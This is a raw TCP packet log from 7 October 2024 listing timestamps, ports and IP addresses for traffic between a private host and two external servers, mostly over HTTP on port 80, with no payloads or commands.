Oct 7, 2024 18:00:52.059801102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059812069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059823990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059833050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059833050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059853077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059861898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059864044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059874058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059885979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059895039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059900045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.059914112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.059935093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.060725927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.060736895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.060749054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.060760975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.060779095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.060792923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.060977936 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.060996056 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.061036110 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.061048985 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.061089039 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.061292887 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.061309099 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.061316013 CEST	49909	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.061321974 CEST	443	49909	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.064157009 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.064189911 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.064275026 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.064479113 CEST	49915	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.064491987 CEST	443	49915	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.129570007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129595995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129607916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129618883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129631042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129642010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.129658937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.129682064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.130498886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.130546093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.133156061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133209944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.133213997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133225918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133246899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.133261919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.133866072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133877993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133889914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133900881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.133910894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.133938074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134016037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134026051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134044886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134056091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134056091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134068012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134073973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134082079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134098053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134120941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134768009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134778023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134789944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134800911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134809971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134813070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134824991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134835958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134836912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134846926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.134855032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.134872913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.135704994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135716915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135725021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135737896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135747910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135756016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.135759115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135771990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135775089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.135782957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135793924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.135796070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.135819912 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.136466980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136480093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136488914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136499882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136509895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136516094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.136519909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136532068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136535883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.136544943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136555910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.136559963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.136574030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.136594057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137255907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137267113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137276888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137295008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137299061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137305975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137315989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137315989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137327909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137345076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137346029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137356997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137367010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137368917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137379885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137392044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137398005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137402058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137413025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137423038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.137424946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137444973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137468100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.137974024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138029099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138068914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138132095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138164997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138207912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138242960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138276100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138287067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138297081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138307095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138308048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138320923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138339043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138879061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138890982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138900995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138912916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138930082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138942003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138947964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138952971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138963938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.138967037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138982058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.138997078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.139739990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139751911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139763117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139775038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139786005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139796972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139802933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.139807940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139820099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139832020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.139841080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.139858961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.140629053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140641928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140651941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140662909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140674114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140680075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.140685081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140698910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.140698910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140712976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140724897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.140727997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.140746117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.140769958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.141671896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141690969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141704082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141716957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141726971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.141729116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141741037 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.141741991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141753912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141765118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141776085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.141778946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.141793966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.141813040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.142396927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.142411947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.142422915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.142436981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.142440081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.142460108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.142487049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.200794935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200809956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200822115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200874090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.200881004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200892925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200906038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200920105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.200926065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.200942993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.200958014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.201216936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.201376915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218346119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218405008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218415976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218477011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218673944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218687057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218698978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218713045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218728065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218749046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218823910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218836069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218842983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218904018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218907118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218919992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218933105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218947887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218946934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218959093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.218971014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.218972921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219006062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.219017982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.219609976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219620943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219631910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219645977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219657898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.219659090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.219691038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220127106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220139980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220150948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220164061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220171928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220175982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220189095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220192909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220201969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220213890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220217943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220226049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220238924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.220240116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220257044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.220277071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221230030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221242905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221254110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221266985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221275091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221278906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221291065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221302032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221302986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221316099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221321106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221328020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221342087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221344948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221354008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221366882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.221375942 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221394062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.221412897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222085953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222096920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222110033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222121954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222132921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222137928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222145081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222157001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222165108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222171068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222182035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222183943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222194910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222197056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222209930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222223043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222223997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222237110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222246885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222265959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222676992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222691059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222700119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222717047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222729921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222734928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222752094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222774029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222867012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222877979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222889900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222902060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222913980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222914934 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222925901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.222948074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.222958088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223304033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223316908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223328114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223341942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223349094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223356009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223372936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223378897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223392963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223418951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223762989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223773956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223788023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223808050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.223814964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.223820925 CEST	80	49831	95.164.90.97	192.168.2.5
